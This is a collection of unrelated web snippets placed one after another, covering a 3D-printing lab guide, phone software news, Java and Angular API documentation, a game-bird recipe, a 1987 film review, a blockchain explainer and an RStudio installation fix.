02. Request Approval
- You will receive an email once your request has been approved. This can take up to a week during extremely busy periods.
-
03. Printing
- Your Request will be sent to the Makerbot printers. This can take up to a week during extremely busy periods.
-
04. Collection
- You will be notified when your job is completed and ready for collection at the NExT LAB. Collection hours are 10-4, Mon to Fri.
Submission Particulars
Make sure you check the landing page of the Innovation Centre for any updates to queue length and requirements on our end.
Your requests need to follow these naming conventions:
- Request Name: eg.
TrueWhite_10h_Rep+_StudioAir
- Job Name: eg.
5h_1of2_StudioAir.makerbot
- Updated Job Name: eg.
4h_1of2_StudioAirUPDATED.makerbot
- Other Notes: Unfortunately we can only process one colour per request.
NExT Lab Criteria
The following criteria allow for fair use of NExT Lab services
TIME: There is an 8 hour restriction per request per student. Anything over this requires a consultation. SUBMISSION: Only submit 1 request per project. Multiple jobs can be added to a request. SUPPORTS & RAFTS: Must be enabled in your print settings. If you wish to print without these elements you will need to book a consultation. SETTINGS: You can download a range of suitable settings from the NExT Lab Knowledge Base. FILE TYPES: You are required to upload 3 file types. .stl, .makerbot and .print.
So you've submitted a job, now what?
Now we wait.
Powder (Binder Jetting)
3d Printing at the FabLab
Binder Jetting is the process of dispensing a binding agent onto a powder bed.
- Printer: Projet 660 Pro
- Print Area (mm): 254 x 381 x 203
- Cost: $0.60 per cm3
Powder (Binder Jetting)
3d Printing at the FabLab
Layers are bonded to one another to form a solid component. Loose support material is removed at the lab and the part is coated in an epoxy solution for extra strength. Powder prints offer better resolution, and aren't subject to shrinkage or warping.
Post-Processing
Check out the info on the Knowledge Base
PLA parts can be finished in a variety of methods. These processes range from being quick and easy to extremely involved and time-consuming. On campus, you can only sand in the Fabrication Workshop (not the Model-Making Space).


Cara Pifko was a child actor and singer on multiple records and 5 seasons of a TV series with Sharon Lois and Bram in Toronto, Canada. She went on to lead two series, win a Gemini (Canadian Emmy) and the Los Angeles’ Stage Raw Award, as well as numerous TV shows, Voiceover roles, many full productions of theatre in Toronto with theatre companies including Soul Pepper, Tarragon, Canadian Stage, Crows. Her recent work can be found in seasons 2-4 of AMC’s “Better Call Saul” and in Steven Spielberg’s “Ready Player One”. While all that was going on she became the mother of two and became a certified Strategic Intervention Life Coach with a specialty in Creativity Coaching. The move to the City of Angels 10 years ago was part of a spiritual revolution which called in Sacred Singing as a match of intent and style when it comes to raising the vibration of humanity through the power of artistic expression.
"I am infinite, sacred, vast opening space living in the flow of GOD’s miracles, blessings, abundance and grace"


Color Me Oppo
OPPO announces ColorOS 7, will bring it to the Reno 3 first
Realme phones and other OPPO owners won't be left out of the ColorOS party.
by Philip BerneWhat you need to know
- The Reno 3 will be the first OPPO phone to ship with ColorOS 7 and Android 10.
- OPPO's new ColorOS 7 will have a more subdued look and iconography.
- Application startup and other performance issues have been improved.
OPPO has unveiled its upcoming flavor of Android 10, the ColorOS 7 update. The new interface will ship first on the OPPO Reno 3 phone, for which OPPO offered few details other than dual-mode 5G support, important for the international market OPPO is hoping to target. Though the Reno 3 is rumored to run on decidedly mid-range chips, OPPO is touting performance enhancements throughout ColorOS 7. The new UI is also scheduled to hit a number of older OPPO devices.
The new ColorOS 7 is a bit more muted and subdued in its color scheme, though the themes are obviously customizable. There is a lighter feel to the OS, with rounded icons and softer colors. The OS will include new features like a Focus mode to limit distractions, as well as a new Flashback button that will act as a fast task switching feature to jump between recent apps. OPPO will also include a new password management tool with Google security built in.
The camera app will get an upgrade to match today's favorite feature set, including improved night mode and video editing tools. The new OPPO Reno 3 phone is rumored to feature four or more camera sensors, including a primary 60-megapixel rear camera and a 32-megapixel front-facing selfie cam. The phone has not been rumored to include OPPO's cool new in-display camera technology.
OPPO will bring ColorOS 7 to a number of devices, including the flagship Reno phones as well as devices carrying the RealMe brand. By the end of 2019, OPPO hopes to update the original Reno and Reno 2 devices, as well as the Reno Ace and the Reno 10X Zoom. More Reno, Find, and R devices will see updates in the first half of 2020, with Realme devices seeing ColorOS 7 and the new Android upgrade as early as February 2020.
OPPO Zoomer
OPPO Reno 10X Zoom
Stunning design backed by robust hardware and 10x zoom
OPPO has managed to deliver a phone that can take on the P30 Pro. The notch-less design leads to an immersive experience when gaming, and you get the latest internal hardware backed by excellent battery life. The 10x hybrid zoom lens is a great new addition, as is the unique shark fin popup camera up front.
We may earn a commission for purchases using our links. Learn more.


#assign file="true">
For large binary or text content (database LOB) we can model it
in the entity bean as a property of type java.io.File
and with @Lob
.
@Entity public class SomeFileBean { ... @Lob File content;
By default all @Lob
properties are fetched lazy so that means
by default they are NOT fetched unless explicit included in the select clause.
Note that File properties (and other Lob properties) will lazy load as needed.
QSomeFileBean b = QSomeFileBean.alias() SomeFileBean bean = new QSomeFileBean() .select(b.name, b.content) .id.eq(42) .findOne(); File content = bean.getContent();
For each File returned Ebean creates a temporary file and streams the content from the database Lob result into the file. As such when we fetch beans with Files we are expected to process the file in some way and then potentially discard, delete or move the temporary file. If we do not then this can result in a build up of temporary files in the temp directory.
// have the content as a File File tempFile = ...; UserProfile profile = new UserProfile(); profile.setName("Rob"); profile.setProfileImage(tempFile); database.save(profile); // typically tidy up file tempFile.delete();
QUserProfile u = QUserProfile.alias() UserProfile profile = new QUserProfile() .select(u.name, u.profileImage) .id.eq(42) .findOne(); File image = profile.getProfileImage(); // do something with the image file // maybe move it to a cache directory // or tidy up by deleting the temporary file image.delete();
It is often useful to perform a stateless update where we update the File content without fetching it.
// have the content as a File File updatedProfileImage = ...; UserProfile profile = new UserProfile(); profile.setId(42); profile.setProfileImage(updatedProfileImage); // perform update without fetching database.update(profile); // typically tidy up file updatedProfileImage.delete();


Codehaus XFire
DocumentationQuicklinksDevelopers
Sponsors |
Latest Release: 1.2.5 - March 14, 2007Please see the Release Notes for more information. If you are using Maven, please see the Maven Guide for repository & groupId information.
Jars for the different modules can also be found on ibiblio. To understand which dependencies you need and their corresponding licenses, please see the Dependency Guide. Old Releases1.0 ReleaseSee the Release Notes for more information. If you are using Maven, please see the Maven Guide for repository & groupId information.
Jars for the different modules can also be found on ibiblio. To understand which dependencies you need and their corresponding licenses, please see the Dependency Guide. 1.1 Release
1.1.1 Release
1.1.2 Release - June 25, 2006See the Release Notes for more information. If you are using Maven, please see the Maven Guide for repository & groupId information.
1.2-RC Release - July 22, 2006Please see the Release Notes for more information. If you are using Maven, please see the Maven Guide for repository & groupId information.
1.2 Release - August 26, 2006Please see the Release Notes for more information. If you are using Maven, please see the Maven Guide for repository & groupId information.
1.2.1 Release - September 7, 2006Please see the Release Notes for more information. If you are using Maven, please see the Maven Guide for repository & groupId information.
1.2.2 Release - October 3, 2006Please see the Release Notes for more information. If you are using Maven, please see the Maven Guide for repository & groupId information.
1.2.3 Release - November 29, 2006Please see the Release Notes for more information.
1.2.4 - January 8, 2007Please see the Release Notes for more information.
SNAPSHOT ReleasesSNAPSHOT release are from CVS HEAD for the next upcoming release. They often contain bug fixes, but are not guaranteed to work nor will they necessarily have up to date documentation.
For Maven 2 users, the snapshot repository is http://snapshots.repository.codehaus.org. |


Wipe a little oil over the breasts of the birds.
Oil a roasting tin with a little more oil and shake the vegetables in the tin to oil.
Place the birds in the tin with the vegetables and add the giblets.
Place the tray in the oven and roast the birds for about half an hour until nicely browned. The juices between the drumstick and the breast should still run pink. The vegetables and giblets should also be nicely coloured.
Leave the birds to cool for a few minutes, then joint the birds. First, gently push the leg (ie drumstick and thigh) away from the body, exposing the end of the thigh bone where it meets the back of the bird. You should be able pull this portion clean away from the bird. The breast can then be sliced away from the carcass, as close as possible to the breast bone, in a portion that includes the wing. Skin all the portions and remove the last two joints of each wing, which have hardly any meat, but will go in the pot for the sauce. Set aside your portions (covered and in the fridge if the dish is for the next day) and get to work on the sauce.
Tear up the carcass of the bird with your fingers and break the bones by cracking with a rolling pin. Place the broken carcass with the skin, chopped neck and other giblets, the roasted vegetables from the pan, along with the bay leaf and thyme, into a suitable sized saucepan. For extra flavour, pour any excess oil out of the roasting pan, then deglaze it on a hot hob with half a glass of the wine. Pour the resulting gravy into the saucepan with the rest of the wine and just enough water to cover everything. Bring to the boil.
If you're preparing the dish for the next day you can cook your stock at a gentle simmer for up to two hours. If its for the same day, then boil the stock fairly rapidly for about half an hour.
While the stock is cooking, make little slits in the chestnuts with the point of a sharp knife. Roast them in a dry pan over a hob or in a roasting tin in the oven, shaking the pan/tray occasionally to turn the chestnuts. Cook until well-charred. Leave until cool enough to handle, but still hot, and peel with your fingernails, removing the (slightly furry) inner husk, as well as the shell. Try to keep them whole. The meat of the chestnuts should be browned, even slightly blackened in parts and completely tender to eat.
Strain the stock through a chinois or heavy sieve, pressing to extract maximum juices from the carcass pieces. Then strain the stock again, ideally through muslin or a cotton cloth. Taste your stock. If it has a good strong flavour of roast bird then you are ready to proceed and finish the sauce. If it's still a little insipid then you can intensify the flavour by further rapid boiling to evaporate water and reduce (ie concentrate) the stock.
Use some of the chestnuts to thicken the stock. 8-12 chestnuts, depending on size, will nicely thicken ½-¾ litre/¾-1¼pt of stock. Place the chestnuts (preferring any broken ones) in a blender with a couple of ladles of the stock and process until smooth and thickened. Strain into a clean pan and stir in the rest of the stock. Bring carefully to the boil and allow to bubble gently for just a couple of minutes. If the sauce seems too thin (it should be fairly luxurious), then repeat the process with a few more chestnuts. Now season the sauce with salt and freshly ground black pepper to taste. Enrich with a spoonful of double cream (you don't need much).
Return the pieces of meat to the sauce in a suitable pan and reheat gently, turning the pieces occasionally in the sauce and allow it to simmer gently for a few minutes. At the same time toss the peeled chestnuts in a lightly oiled pan until they are glistening and hot.
Steam some suitable greens, such as savoy cabbage, lightly buttering them when they are done. Serve all together in a plate deep enough to take plenty of sauce.


publications
2019
-
Variance of average surprisal: a better predictor for quality of grammar from unsupervised PCFG induction In ACL 2019 [Preprint]
-
Using Virtual Standardized Patients to Accurately Assess Information Gathering Skills in Medical Students Medical Teacher 2019
2018
-
Depth-bounding is effective: Improvements and evaluation of unsupervised PCFG induction In EMNLP 2018 [PDF]
-
Unsupervised Grammar Induction with Depth-bounded PCFG Transactions of the Association for Computational Linguistics (TACL) 2018 [Abs]
-
Using Paraphrasing and Memory-Augmented Models to Combat Data Sparsity in Question Interpretation with a Virtual Patient Dialogue System In Proceedings of the 13th Workshop on Innovative Use of NLP for Building Educational Applications 2018 [Abs]
2017
-
Modeling syntax acquisition via cognitively-constrained unsupervised grammar induction In CUNY 2017 2017
-
Combining CNNs and Pattern Matching for Question Interpretation in a Virtual Patient Dialogue System In Proceedings of the 12th Workshop on Innovative Use of NLP for Building Educational Applications 2017
2016
-
Memory-Bounded Left-Corner Unsupervised Grammar Induction on Child-Directed Input In Proceedings of COLING 2016, the 26th International Conference on Computational Linguistics: Technical Papers 2016
-
OSU_CHGCG at SemEval-2016 Task 9: Chinese Semantic Dependency Parsing with Generalized Categorial Grammar In Proceedings of the 10th International Workshop on Semantic Evaluation (SemEval-2016) 2016
-
OCLSP at SemEval-2016 Task 9: Multilayered LSTM as a Neural Semantic Dependency Parser In Proceedings of the 10th International Workshop on Semantic Evaluation (SemEval-2016) 2016
2015
-
Recommender System for E-Learning Based on Semantic Relatedness of Concepts Information 2015
-
AZMAT: Sentence Similarity Using Associative Matrices In Proceedings of the 9th International Workshop on Semantic Evaluation (SemEval-2015) 2015
-
The Overall Markedness of Discourse Relations In Conference on Empirical Methods in Natural Language Processing (EMNLP) 2015
-
A Comparison of Word Similarity Performance Using Explanatory and Non-explanatory Texts In Proceedings of NAACL-HLT 2015
2014
-
Sentences Extraction from Digital Publication for Domain-Specific Knowledge Service In Human-Computer Interaction International Conference 2014 2014
-
A Semantic Recommender System for Learning Based on Encyclopedia of Digital Publication In Human-Computer Interaction International Conference 2014 2014


Output Types : TrianaPixelMap
Date : 22 August 2000
The URLImage unit imports a GIF or a JPEG file into Triana from an internet http address. To load a GIF file, control double-click the unit's icon which brings up an input dialog which allows you to type in the name of the http GIF file e.g.


## -*- coding: utf-8 -* % if amount is not None and errors['amount_not_number']:
The amount you entered isn't a number. Please enter a number instead.
% endif % if currency is not None and errors['wrong_currency']:Now that's weird! The currency you picked ain't right. That should not have happened with a dropdown list. Doing anything funny?
% endif % if date is not None and errors['no_date']:You must specify a (valid) date!
% endif % if errors['wrong_password']:You entered a wrong password!
% endif % if success:Your bank account has been updated!
% else: % endif


BACK TO THE BEACH A film review by Terry Laskodi Copyright 1987 Terry Laskodi
"Aren't we the corniest couple you ever saw?" asks Annette Funicello at the end of BACK TO THE BEACH. And the answer is: a resounding yes!!!
BACK TO THE BEACH is actually a parody of all of the "beach" movies of the early '60s Annette made with teen-age heartthrob Frankie Avalon, combining different elements of the seven movies made. There's the obligatory big bonfire/party, a pajama party, good-people/bad-people on the beach (updated for the '80s audience), bikini shots galore along with the muscle-types one always sees at the beach (at least in California!!!), and, of course, surfing!!!
The plot is minimally simplistic, just like its predecessors. Without giving too much away, suffice it to say that Mom/Dad (Annette and Frankie) now live in midwestern Ohio, and desperatley need a vacation. Hawaii is the place, but with a small stopover in Los Angeles to see their daughter. What happens once they arrive in Los Angeles is sheer lunacy. Nostalgia reeks over them once they arrive at "the beach" where they once hung out as teenagers (for Annette immediately; Frankie takes a little longer). Mom and Dad have a little spat, and are separated briefly. But, just like the old films, every- thing is just hunky-dory by the end of the film ("even, with no winners and no losers," to borrow a line from the film).
The movie is non-stop corn from beginning to end. It pokes fun at the simplistic morals of the originals without sounding too preachy. It also pokes fun at all the hawking Annette did for various products on TV, concentrating on peanut butter, probably what she is most famous for. Annette does not mind poking fun at the old, naive, innocent image she projected in the old movies, wondering aloud if "just once, I'd like to play the bad girl," but immediately reminded that was impossible.
But the movie does play loosely with people's memory of the originals. Annette and Frankie are the only original cast members from the originals, although the movie would have us believe there are more. Connie Stevens plays a minor role here that keeps reminding us that she must have been in the originals, although she was never in any of the "beach" movies with Annette and Frankie (side note by me: Didn't she star in the original "Where The Boys Are" back in the early '60s? [No, that was Connie Francis -ecl]). There are cameos by stars of late '50s-early '60s TV shows that for the most part, work remarkably well, along with various "in-jokes" about the series they played in. The one that works best is Bob Denver, Gilligan in GILLIGAN'S ISLAND, lamenting the fact that "he was so smart he could take a pineapple (or was it a coconut?), and some string, and he'd have a nuclear reactor, but could he fix a two-foot hole in the boat??" And when Don Adams, Maxwell Smart of GET SMART, did his "Would you believe" bit, I was rolling in the aisles.
However, there are problems with the movie, and some things just didn't seem to fit into the "feel" of the movie. Pee Wee Herman makes an appearance as himself in the movie that, for me, just didn't fit in with the feeling of the movie. Also, it was painfully obvious that it took quite a few days to film some of the beach scenes, as the weather went from bright sunlight to overcast back to bright sunlight in the same scene. Finally, if I see another Siskel-Ebert impression, I'll scream (using Tony Dow and Jerry Mathers from LEAVE IT TO BEAVER, one of the few cameos by stars that didn't work).
All in all, though, BACK TO THE BEACH is a fun and enjoyable film you should see if you're tired (as I am) of all the violence-lousy sci-fi films that seem to take over during the summer months. One word of warning, though: leave the little kids at home for this one. I saw the movie at a 5:00 PM matinee that consisted mostly of young couples with young children (5-7 years old), and the kids were getting a little restless during the movie.
Terry Laskodi of Tektronix
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
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Single web service to record and search all your history, from all your terminals in one place.
Easy setup, local configuration with a simple Unixy utility that does one thing and gets out of your way.
Command line utility to search the remote history. Get all the history right where you need it.


Hello, my name is Florencio Pacheco but you can also call me by middle name, Antonio. I am a senior at Lindbergh High School and this will be my second year at Bellevue College as a Running Start Student. I would like to major in Computer Science but I am still looking to see if I want to pursue it fully. I am still new to programming but I do have a bit if experience with Java and Python. Some personal hobbies of mine are playing sports, mostly football or soccer and playing video games during my free time obviously.


current fires
This will be the center view area
Search, search results and the
List of years for the Historic Fires view will use this
This is the right container
We will have charts or Fire Details here
This text is just to take space
This is where the item list goes
It will not change while the app is running
but we want it to be configurable, so it will
be templated


--- title: Education heading: Learn about Blockchain, Digital, and Crypto Currency description: Blockchain technology and crypto currencies have the potential to reshape and improve Hawaii's economy faq: - question: What are some important topics? answer: Important differences between centralized and decentralized - question: Do I need to understand the cryptographic has or blockchain to use digital currencies? answer: No, cryptocurrency use does not require this knowledege but it is handy to know ---
The word "crypto" in crypto currency refers to the cryptographic hashing that is involved in the proof of work function used to verify transactions on the public ledger. Each cryptocurrency has their own cryptographic hashing and ledger scheme but at the heart of it is a hash function. All transactions are grouped together by time and hashed together to create what is called a block.
When all transactions for a given time period, about every 10 minutes for bitcoin, are hashed together they create a "block". These blocks contain the hash of a previous block, all the transactions for that timeframe and the current hash of the block. A hash is a series of bits, often represented as letters and numbers, that result from a hash function. A hash function creates a unique hash for any given input. Having the hash from the previous block contained in the current block creates the concept of a chain which links every block to the previous block before it; hence chain of blocks or blockchain
Bitcoin is a single unit of a digital currency. Bitcoin was the first example of a cryptocurrency and blockchain implementation. Bitcoin has a deflationary model in that the number of bitcoins in circulation is finite. A unique and advantageous quality of bitcoin and digital currency that sets it apart from fiat currencies like the dollar is that these cryptocurrencies can be divided into fractional amounts where as the smallest dollar value is a penny.
Inter Planetary File System (IPFS) is a concept that is based off of blockchain technology. The idea is that data can be stored on the blockchain and distributed for the benefit of robustness and accessibility. The blockchain is immutable which means that it cannot be changed. What is written to blockchain remains on the blockchain. Thus (IPFS) utilizes this idea to create persistent storage that can be accessed at anytime. This is advantageous when compared to cloud services such as Dropbox and Google Drive because if any of these service providers servers are compromised, the data will be loss. Yes, they implement redundancy but with IPFS every node participating in the network contains a copy of the data and can be recovered. An attack or disaster would have to take out all nodes for all data to be loss, which is a low probability. Many decentralized applications are beginning to use IPFS and IPFS like storage schemes to house their data.
Decentralized applications or DAPPS are applications that run on the blockchain in a decentralized fashion.


Lady Gaga to play scandal-plagued Gucci wife in next feature film
LOS ANGELES (Reuters) - Lady Gaga has lined up her next feature film and will play the wife of a murdered heir to the Gucci fashion dynasty, Hollywood media reported on Friday.
Gaga, whose first lead movie role in “A Star is Born” last year was critically acclaimed, will play Patrizia Reggiani, who served 18 years in an Italian prison for orchestrating the 1995 murder in Milan of her husband Maurizio Gucci, according to Variety, the Hollywood Reporter and Deadline.
Reggiani, dubbed the Black Widow in what was one of the most scandalous high society crimes in Italian history, was released from prison in 2016.
Ridley Scott will direct and produce the movie, the publications said. Representatives for Scott and Gaga, who was born in New York and has Italian heritage, did not respond to requests for comment.
The film will be the first for Gaga since she took her music career to the big screen in “A Star is Born,” which brought her an Oscar for best original song “Shallow” and a best actress nomination.
No title or date for the film’s release was given.


--- lang: en title: Translating the guide authors: - Mor Rubinstein section: meta --- Translating the guide is easy, no need to any other software, all you need is a github account! Some languages already have translated version of the guide. If you don't have a version in your language, here is how to do it.
{{ site.github_repo }} / guide/
there will be a '+' sign. Click on it and enter your your two letter languages code. Add a dash ('/') after the two letter to create a folder.
--- section: guide lang: Your language two letter code title: The title in your language ---Translate as usual.


{% extends "base_index.html" %} {% block style_block %} {% endblock %} {% block content %}
Get connected to everyone and be the part of the event till the time of event without sharing your privacy details.
Create fabulous team events, conferences, workshops, parties and get down the event.Cheers !
Register yourself in to the event and get connected to the people in the event through public boards, private boards, open feedbacks.
Get the real time score boards application for the team events.
We've been voted the best pencil sharpening service for 10 consecutive years. If you have a pencil that feels dull, we'll get it sharp!


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public abstract class DataResourceManager<R extends DataResource> extends ResourceObservable<R> implements StateObserver
Loader
. Object of the class can be observed
in order to react on the availability of new data. The loading process of the
data can be activated and deactivated, e.g. to prevent unnecessary loading of
data. Furthermore an off-line flag can be set, e.g. to signal the concrete
implementations not to transmit any further data over the network. So
observers are informed about actualizations by data located in the random
access memory.| Constructor and Description |
|---|
DataResourceManager(java.lang.String label)
This method initializes an activated manager which is not off-line but
has no loader for the moment.
|
DataResourceManager(java.lang.String label,
boolean enabled,
boolean online)
This method initializes an activated manager.
|
| Modifier and Type | Method and Description |
|---|---|
void |
disable()
This method quits the manager, i.e. that the manager shall no longer
inform about changes of state and holds no current used data.
|
void |
enable()
This method activates the manager, i.e. that the manager shall inform
about changes of state.
|
java.lang.String |
getLabel()
Returns the label of this
DataResourceManager in order to
identify it. |
boolean |
isEnabled()
This method tells if the manager is activated, i.e. if the manager shall
inform about changes of state.
|
boolean |
isOnline()
This method tells if the manager is on-line, i.e. if the manager shall
inform about changes of state but shall not load any data (if it is no
online).
|
void |
onExit()
Called when the manager was last used at runtime.
|
abstract void |
requestLoaderStop()
This method sends a message to the loader to tell it to quit for the next
possible moment.
|
void |
setOnline(boolean online)
This method sets the manager on-line if and only if
online
is true, i.e. the manager shall inform about changes of state but shall
not load any data from tile api server. |
clearAll, notifyAll, register, unregister
equals, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait
onUpdate
public DataResourceManager(java.lang.String label)
label
- The name of the ResourceManager.public DataResourceManager(java.lang.String label, boolean enabled, boolean online)
enabled
- Flag to tell if the manager is activated at the beginning,
i.e. if the manager shall inform about changes of state.offline
- Flag to tell if the manager is off-line at the beginning, i.e.
if the manager shall inform about changes of state but shall
not load any data.public void enable()
public void disable()
public void setOnline(boolean online)
online
is true, i.e. the manager shall inform about changes of state but shall
not load any data from tile api server.online
- true
to set the manager off-line.public abstract void requestLoaderStop()
public void onExit()
public boolean isEnabled()
true
if and only if the manager is activated.public boolean isOnline()
true
if and only if the manager is on-line.public java.lang.String getLabel()
DataResourceManager
in order to
identify it.


rstudio: error while loading shared libraries: libcrypto.so.1.1: cannot open shared object file: No such file or directory
rstudio /usr/lib/rstudio/bin/rsession: error while loading shared libraries: libssl.so.1.1: cannot open shared object file: No such file or directory
Dependency is not satisfiable: libssl1.0.0|libssl1.0.2|libssl1.1
Installing R-Studio on Ubuntu 22 is currently bugged and does not work with the instructions listen on the official R-studio Page.
After running the following commands, R-Studio will not install or start.
$ rstudio
$ sudo gdebi ./rstudio-2022.07.0-546-amd64.deb
Uninstall the current R-Studio instance
$ sudo gdebi -r rstudio
Reinstall RStudio


Sony announces Android 10 roadmap for eight smartphones
Japanese electronics-maker Sony has released the list of smartphones that will be updated to Android 10, starting December
by IANSJapanese electronics-maker Sony has released the list of smartphones that will be updated to Android 10, starting December.
Sony Xperia 1 and Xperia 5 will be the first set of devices to taste the latest iteration of Android, the company said in a statement recently.
Meanwhile, Xperia 10 and 10 Plus, will get the update in early 2020, alongside older devices like the Xperia XZ2, XZ2 Compact, XZ2 Premium, and XZ3.
Older flagship devices like the Xperia XZ1 were notably excluded from the list.
Android 10 the latest version of Google’s mobile operating system, has been available for over 2 months now and is currently available on devices from Google, Essential, OnePlus, Xiaomi and Nokia.
Samsung, Huawei and LG have also started beta programs for some of their devices. Additionally, the US-based search giant is making it compulsory for smartphone manufacturers to ship devices with Android 10 after January 31, 2020.
After the above mentioned date, Google will only approve new devices running the latest Android version, Android 10 and the company will stop approving new devices running Android 9 Pie.
The information regarding company’s move was spotted in the latest version of Google’s GMS requirements.


String or Object representing the body of the Response.
Response headers
Http status code associated with the response.
Creates a copy of the ResponseOptions
instance, using the optional input as values to
override
existing values. This method will not change the values of the instance on which it is being
called.
This may be useful when sharing a base ResponseOptions
object inside tests,
where certain properties may change from test to test.
import {ResponseOptions, Response} from 'angular2/http';
var options = new ResponseOptions({
body: {name: 'Jeff'}
});
var res = new Response(options.merge({
url: 'https://google.com'
}));
console.log('options.url:', options.url); // null
console.log('res.json():', res.json()); // Object {name: "Jeff"}
console.log('res.url:', res.url); // https://google.com
Generated using TypeDoc
Creates a response options object to be optionally provided when instantiating a Response.
This class is based on the
ResponseInit
description in the Fetch Spec.All values are null by default. Typical defaults can be found in the BaseResponseOptions class, which sub-classes
ResponseOptions
.This class may be used in tests to build Responses for mock responses (see MockBackend).
Example (live demo)
import {ResponseOptions, Response} from 'angular2/http'; var options = new ResponseOptions({ body: '{"name":"Jeff"}' }); var res = new Response(options); console.log('res.json():', res.json()); // Object {name: "Jeff"}


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